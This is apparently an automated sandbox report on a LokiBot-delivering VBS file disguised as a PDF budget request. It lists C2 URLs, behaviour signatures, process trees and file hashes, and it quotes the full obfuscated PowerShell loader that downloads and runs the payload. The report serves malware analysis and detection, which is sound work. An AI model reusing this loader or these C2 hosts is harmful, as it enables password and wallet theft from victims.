Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    293s
  • max time network
    275s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/09/2024, 12:42

General

  • Target

    PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs

  • Size

    72KB

  • MD5

    cf3ce0d565b919fe45d02705736fe824

  • SHA1

    0924076c6434b432b18fd0b298a2b5b14e38b754

  • SHA256

    96c1a11d9036afc58f65d8533f2c37b7fc64048e21bc60f28f0bb9311902e80f

  • SHA512

    eb44246e1c25d9cfcb49f724f710b21432fb8fab17b1344c3af142ef5959542a01db052db1e02b8f9af1df07872d3508fa99718a95260440b450bcee035fc431

  • SSDEEP

    1536:sTgvWHbK7HAM/TkMCV5i+8Q5+h+4C/hNGweE+f:sTgeMAITO8QS+lkf

Malware Config

Extracted

Family

lokibot

C2

http://137.184.191.215/index.php/check.php?s=am9ntjjw

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 13 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsnehlAdrenTVar,iyLat.rpFib seCythe],ermi:Aaben:Alei TR diolGrftesSolhj1 smad2Tubel ');$Tessituras160=$trebanen[0];$saurels=(Preeliminator 'algo,$Hepp.gRearrlSweenoAllerbD oleaAfgifLEfter:F lberBadgeeBaadfP,uperEKarritOpkl,iKrsantElledi RestO LiqunAmin ASekunR I.teYDiplo=Tran NMag,eE MisiWputre-NatarONd inbForldjR ulmeBasisCMidenTNonn. Rec.nSCac.cyCapriSO,idetPo,ygEsmaasMArcha.Flo snD pliEDemiotSt ns.Stam wB nebeSkrumbRep ocUdgralglitti Sm kE eklaN P.antvaler ');Glederens ($saurels);Glederens (Preeliminator ' Unsc$Limi.Rungare.edsppAmbuleSurintM,untiStrint,ovediPartso BalanCas,faLarrur MillyPerni.Em erHSkbneeTitteaP,otodRoyale Blksr ,ills rga[Omkr $IndfdM OvereRa iul fsbtHocklomousin krue]Asper=torre$ .icrSpamfipBlu pikontrsUndereCrossfSerabrSyntei CharkuratuvEddicaAh ldr ,rantkompoeEny lrHypaceNonqutFaglo ');$Band=Preeliminator 'Petau$nykalRDykkee St.rp MadoeCautitMyrici BlomtEpigri PreaoSt ernBasilaOsterrBankrydomes.Til gDFolkeoRemovwIn imn.krivlAf ilo Kursa Fa ldKnaldFBerthiOpfanlablace nat(Vir e$P.rseTRhinoeSammesArccosOverdiPangetx loguRegnorConyzaNon.osSva m1Pr nt6 Pell0Surre,Legul$ KawcBS unklCo.ntaOrdfjdSeriesAlette ,kanlC rollSvolveForeprTreski U ar) Hy,e ';$Bladselleri=$Verdenshistoriskes;Glederens (Preeliminator 'vitam$U irkGFarveLechoiOR litB eriAOvervLMishm:ProviUAkamndGalacSMonogTDi raiR,stbl etiLUdskreOverstaglyc=Dephl(Ge yrtAgerjEFremssPaupeTSacri-FiskepCl ngAsurpaTSchizhBlot Fdsel$ B atbBallylGj rdafrancDTh.otSMicroESoci,LB,uxiLTricoEAppriRFj,rdiMal,i)Smls ');while (!$Udstillet) {Glederens (Preeliminator 'Urede$St.ejg MetolCou soBeskfb SlgeaD athlgasap: ashlITelfonOversv TirsaNo malSsonaiBrug dAlthoeTailopSt kne Physn Sagas,rissiE bezo.accin rugsbl ck= Torv$ KelptArkairUnupbu Tet.e va.e ') ;Glederens $Band;Glederens (Preeliminator 'KoordSCykeltClarkaLiebhr MarktTusin-BrnehSDelkllRen,eeRe peeAbstrpUnco Intui4 Moan ');Glederens (Preeliminator 'm,tth$ NipsgNot rl Cai.o LoesbReearaBoplsl nden:EclipUGalocd lomssNo,imtGrafiiOverllMisfolHete eAn,latSydam=Afsti(PlaneT Amuzec,rsosGummitElevc-Ind rPStrafaOvah.twowi,h pent Permi$ OverB Wal l varmaAut cdHainasR,sbeecardilPrecol ProleEmissrSu.eriDolph)S urp ') ;Glederens (Preeliminator ' Kay $Pu slgChervlclodpoKlingb Geoma pklalS,rre:GalliASoricnRomertOve pi Duehk Un.evDe,tea IncorSkriniBeforafjerbtMor.i= Z,nt$UgenngEnv,ilKonseo,ibiabCensuam strl Bl,n: Sam.Tearwio Noniu W rksFrem lKirkeiOp.arnbetingHuser+Jul s+ igma%Nas e$ D.tetUnshrr,aandeAltanbGeneraadre nHandeeWintenLitho. pfancPerfoo prruKomman .gentH,nli ') ;$Tessituras160=$trebanen[$Antikvariat];}$Getlingndsunknes198=318869;$Negrita=32225;Glederens (Preeliminator 'Mo,fa$UddykgPresulInteroKollebOverlaNema l equi:UdbliPOverloCocond oldaa rounr ReligTrammeCalor Coxc= Co s ProfeGSheareE imytP odu-KultuCrulleoMisaln,iggit yline ombenPrecut Erig umy,d$ ko pB Hem l rminaI,dekd.ravlsSp.cieMaa el CabolCac ee kolrShtchiGoka ');Glederens (Preeliminator 'Hobna$Deka,gConf.lbe,vroDybs,bJessiaBerewl desi:TilstShor,euArlanpHyptre PerirCur ecOpvasa.osadrArgumg Fed,o IdiosStupe Ener=Margi Geofy[LapidS adeay elarsKo eatBev eePrehumlamia. ,alaCZornuo Un enBega vDiploe iscrNeddytRetsh]Balan: Skif:FedteFErnrirI,eogoUndermCre yBUnm.caErgoms ConseAver 6Re re4TavleSfugletchancrFdreliMessenPassagExpon(Nstfo$ EnnaPDi tio Sigtd ,oraaD vnsr MahjgCloyleSkatt)gulds ');Glederens (Preeliminator 'R pub$ RibbgToothlFugleo St ab HoflaForstlMeddl:por,vTTvrstoMashmn.edaieTrucul Sm,aeWishej ngreBefootadgans.abar C,ika= Groo minar[ Dra.S tuthyPseuds Teletsamree StrumLu er.overdTSv neeEcle xMediot Gill.SobreEs.norn ReficSata,o N.tadTatteiF nsenFimengLatir].eign: itro:Cyke.A GlemSFiskeClg dgI umynI,lind. TotaGSphagepseudtEneboSBestvtDybb rmelleiB,quan ensagDimid(Buder$Ag veSTimokuParafp UdgieTvan rKumulc gejlaMumblrfrivogKo meoWaspisUnder)Bru e ');Glederens (Preeliminator 'Iri e$TamergTu,nelAsepso okumbUntenaF derlTi li:Prut PFo ndfr.emig p in=Rygep$ pa.tTTirehoVkstrnBaronehirudlPaviseVelrvjSnuereVan,ltRukbasTr si.OmstnsAffutuOutspbUnpeds Veint Brutr Ruski Kas,nUncaug Lowl(Masse$ForldGOver.eIldfut ,ttalDeseciSkra nBighogImprinstuehdCha.cs.bbatuOvercnBondukStrepnSubtre Mon,s apit1Opbe.9Taeni8Inter,Ti,st$CatnaNPh ageSwinkgko.terRobiniR.lent InveaTmrer)Sky d ');Glederens $Pfg;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4048
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsnehlAdrenTVar,iyLat.rpFib seCythe],ermi:Aaben:Alei TR diolGrftesSolhj1 smad2Tubel ');$Tessituras160=$trebanen[0];$saurels=(Preeliminator 'algo,$Hepp.gRearrlSweenoAllerbD oleaAfgifLEfter:F lberBadgeeBaadfP,uperEKarritOpkl,iKrsantElledi RestO LiqunAmin ASekunR I.teYDiplo=Tran NMag,eE MisiWputre-NatarONd inbForldjR ulmeBasisCMidenTNonn. Rec.nSCac.cyCapriSO,idetPo,ygEsmaasMArcha.Flo snD pliEDemiotSt ns.Stam wB nebeSkrumbRep ocUdgralglitti Sm kE eklaN P.antvaler ');Glederens ($saurels);Glederens (Preeliminator ' Unsc$Limi.Rungare.edsppAmbuleSurintM,untiStrint,ovediPartso BalanCas,faLarrur MillyPerni.Em erHSkbneeTitteaP,otodRoyale Blksr ,ills rga[Omkr $IndfdM OvereRa iul fsbtHocklomousin krue]Asper=torre$ .icrSpamfipBlu pikontrsUndereCrossfSerabrSyntei CharkuratuvEddicaAh ldr ,rantkompoeEny lrHypaceNonqutFaglo ');$Band=Preeliminator 'Petau$nykalRDykkee St.rp MadoeCautitMyrici BlomtEpigri PreaoSt ernBasilaOsterrBankrydomes.Til gDFolkeoRemovwIn imn.krivlAf ilo Kursa Fa ldKnaldFBerthiOpfanlablace nat(Vir e$P.rseTRhinoeSammesArccosOverdiPangetx loguRegnorConyzaNon.osSva m1Pr nt6 Pell0Surre,Legul$ KawcBS unklCo.ntaOrdfjdSeriesAlette ,kanlC rollSvolveForeprTreski U ar) Hy,e ';$Bladselleri=$Verdenshistoriskes;Glederens (Preeliminator 'vitam$U irkGFarveLechoiOR litB eriAOvervLMishm:ProviUAkamndGalacSMonogTDi raiR,stbl etiLUdskreOverstaglyc=Dephl(Ge yrtAgerjEFremssPaupeTSacri-FiskepCl ngAsurpaTSchizhBlot Fdsel$ B atbBallylGj rdafrancDTh.otSMicroESoci,LB,uxiLTricoEAppriRFj,rdiMal,i)Smls ');while (!$Udstillet) {Glederens (Preeliminator 'Urede$St.ejg MetolCou soBeskfb SlgeaD athlgasap: ashlITelfonOversv TirsaNo malSsonaiBrug dAlthoeTailopSt kne Physn Sagas,rissiE bezo.accin rugsbl ck= Torv$ KelptArkairUnupbu Tet.e va.e ') ;Glederens $Band;Glederens (Preeliminator 'KoordSCykeltClarkaLiebhr MarktTusin-BrnehSDelkllRen,eeRe peeAbstrpUnco Intui4 Moan ');Glederens (Preeliminator 'm,tth$ NipsgNot rl Cai.o LoesbReearaBoplsl nden:EclipUGalocd lomssNo,imtGrafiiOverllMisfolHete eAn,latSydam=Afsti(PlaneT Amuzec,rsosGummitElevc-Ind rPStrafaOvah.twowi,h pent Permi$ OverB Wal l varmaAut cdHainasR,sbeecardilPrecol ProleEmissrSu.eriDolph)S urp ') ;Glederens (Preeliminator ' Kay $Pu slgChervlclodpoKlingb Geoma pklalS,rre:GalliASoricnRomertOve pi Duehk Un.evDe,tea IncorSkriniBeforafjerbtMor.i= Z,nt$UgenngEnv,ilKonseo,ibiabCensuam strl Bl,n: Sam.Tearwio Noniu W rksFrem lKirkeiOp.arnbetingHuser+Jul s+ igma%Nas e$ D.tetUnshrr,aandeAltanbGeneraadre nHandeeWintenLitho. pfancPerfoo prruKomman .gentH,nli ') ;$Tessituras160=$trebanen[$Antikvariat];}$Getlingndsunknes198=318869;$Negrita=32225;Glederens (Preeliminator 'Mo,fa$UddykgPresulInteroKollebOverlaNema l equi:UdbliPOverloCocond oldaa rounr ReligTrammeCalor Coxc= Co s ProfeGSheareE imytP odu-KultuCrulleoMisaln,iggit yline ombenPrecut Erig umy,d$ ko pB Hem l rminaI,dekd.ravlsSp.cieMaa el CabolCac ee kolrShtchiGoka ');Glederens (Preeliminator 'Hobna$Deka,gConf.lbe,vroDybs,bJessiaBerewl desi:TilstShor,euArlanpHyptre PerirCur ecOpvasa.osadrArgumg Fed,o IdiosStupe Ener=Margi Geofy[LapidS adeay elarsKo eatBev eePrehumlamia. ,alaCZornuo Un enBega vDiploe iscrNeddytRetsh]Balan: Skif:FedteFErnrirI,eogoUndermCre yBUnm.caErgoms ConseAver 6Re re4TavleSfugletchancrFdreliMessenPassagExpon(Nstfo$ EnnaPDi tio Sigtd ,oraaD vnsr MahjgCloyleSkatt)gulds ');Glederens (Preeliminator 'R pub$ RibbgToothlFugleo St ab HoflaForstlMeddl:por,vTTvrstoMashmn.edaieTrucul Sm,aeWishej ngreBefootadgans.abar C,ika= Groo minar[ Dra.S tuthyPseuds Teletsamree StrumLu er.overdTSv neeEcle xMediot Gill.SobreEs.norn ReficSata,o N.tadTatteiF nsenFimengLatir].eign: itro:Cyke.A GlemSFiskeClg dgI umynI,lind. TotaGSphagepseudtEneboSBestvtDybb rmelleiB,quan ensagDimid(Buder$Ag veSTimokuParafp UdgieTvan rKumulc gejlaMumblrfrivogKo meoWaspisUnder)Bru e ');Glederens (Preeliminator 'Iri e$TamergTu,nelAsepso okumbUntenaF derlTi li:Prut PFo ndfr.emig p in=Rygep$ pa.tTTirehoVkstrnBaronehirudlPaviseVelrvjSnuereVan,ltRukbasTr si.OmstnsAffutuOutspbUnpeds Veint Brutr Ruski Kas,nUncaug Lowl(Masse$ForldGOver.eIldfut ,ttalDeseciSkra nBighogImprinstuehdCha.cs.bbatuOvercnBondukStrepnSubtre Mon,s apit1Opbe.9Taeni8Inter,Ti,st$CatnaNPh ageSwinkgko.terRobiniR.lent InveaTmrer)Sky d ');Glederens $Pfg;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:100
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\syswow64\msiexec.exe"
      2⤵
        PID:3712
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\syswow64\msiexec.exe"
        2⤵
        • Blocklisted process makes network request
        • Accesses Microsoft Outlook profiles
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:2724

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      71444def27770d9071039d005d0323b7

      SHA1

      cef8654e95495786ac9347494f4417819373427e

      SHA256

      8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

      SHA512

      a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_upb0wc3z.ps3.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-656926755-4116854191-210765258-1000\0f5007522459c86e95ffcc62f32308f1_6f95b8b4-c02b-43c9-8cd4-016780936b63

      Filesize

      46B

      MD5

      d898504a722bff1524134c6ab6a5eaa5

      SHA1

      e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

      SHA256

      878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

      SHA512

      26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-656926755-4116854191-210765258-1000\0f5007522459c86e95ffcc62f32308f1_6f95b8b4-c02b-43c9-8cd4-016780936b63

      Filesize

      46B

      MD5

      c07225d4e7d01d31042965f048728a0a

      SHA1

      69d70b340fd9f44c89adb9a2278df84faa9906b7

      SHA256

      8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

      SHA512

      23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

    • C:\Users\Admin\AppData\Roaming\Reebok.Dia

      Filesize

      457KB

      MD5

      d4c256a39ebb62a0ae88c5dfaf3de765

      SHA1

      437d4efb2d6f5650f9927cc930b6a34aa46e3a54

      SHA256

      6244fb691d281b1c43c443e20b1deb12e3a4f85e45993d37c97b9c968977d1b4

      SHA512

      6a2240302a45c0f32b6ef44e21fc577e2b1908136568bbcc3112f35341c48d00a7938292483ff5bbbc20f2638528955e73a4baf5d4fe3cf9d4175bc010ff401f

    • memory/100-42-0x0000000006150000-0x000000000616A000-memory.dmp

      Filesize

      104KB

    • memory/100-39-0x0000000005BD0000-0x0000000005BEE000-memory.dmp

      Filesize

      120KB

    • memory/100-47-0x0000000008610000-0x0000000009841000-memory.dmp

      Filesize

      18.2MB

    • memory/100-45-0x0000000008060000-0x0000000008604000-memory.dmp

      Filesize

      5.6MB

    • memory/100-44-0x0000000006DE0000-0x0000000006E02000-memory.dmp

      Filesize

      136KB

    • memory/100-43-0x0000000006E50000-0x0000000006EE6000-memory.dmp

      Filesize

      600KB

    • memory/100-23-0x0000000002290000-0x00000000022C6000-memory.dmp

      Filesize

      216KB

    • memory/100-24-0x0000000004E30000-0x0000000005458000-memory.dmp

      Filesize

      6.2MB

    • memory/100-25-0x0000000004CE0000-0x0000000004D02000-memory.dmp

      Filesize

      136KB

    • memory/100-26-0x0000000004D90000-0x0000000004DF6000-memory.dmp

      Filesize

      408KB

    • memory/100-27-0x00000000054D0000-0x0000000005536000-memory.dmp

      Filesize

      408KB

    • memory/100-37-0x00000000055C0000-0x0000000005914000-memory.dmp

      Filesize

      3.3MB

    • memory/100-41-0x0000000007430000-0x0000000007AAA000-memory.dmp

      Filesize

      6.5MB

    • memory/100-40-0x0000000005C00000-0x0000000005C4C000-memory.dmp

      Filesize

      304KB

    • memory/2724-58-0x0000000000400000-0x00000000005E4000-memory.dmp

      Filesize

      1.9MB

    • memory/2724-62-0x0000000000400000-0x00000000005E4000-memory.dmp

      Filesize

      1.9MB

    • memory/4048-15-0x00007FFA6B790000-0x00007FFA6C251000-memory.dmp

      Filesize

      10.8MB

    • memory/4048-14-0x00007FFA6B793000-0x00007FFA6B795000-memory.dmp

      Filesize

      8KB

    • memory/4048-0-0x00007FFA6B793000-0x00007FFA6B795000-memory.dmp

      Filesize

      8KB

    • memory/4048-22-0x00007FFA6B790000-0x00007FFA6C251000-memory.dmp

      Filesize

      10.8MB

    • memory/4048-19-0x00007FFA6B790000-0x00007FFA6C251000-memory.dmp

      Filesize

      10.8MB

    • memory/4048-18-0x00007FFA6B790000-0x00007FFA6C251000-memory.dmp

      Filesize

      10.8MB

    • memory/4048-12-0x00007FFA6B790000-0x00007FFA6C251000-memory.dmp

      Filesize

      10.8MB

    • memory/4048-17-0x00007FFA6B790000-0x00007FFA6C251000-memory.dmp

      Filesize

      10.8MB

    • memory/4048-11-0x00007FFA6B790000-0x00007FFA6C251000-memory.dmp

      Filesize

      10.8MB

    • memory/4048-1-0x000001A3BBD10000-0x000001A3BBD32000-memory.dmp

      Filesize

      136KB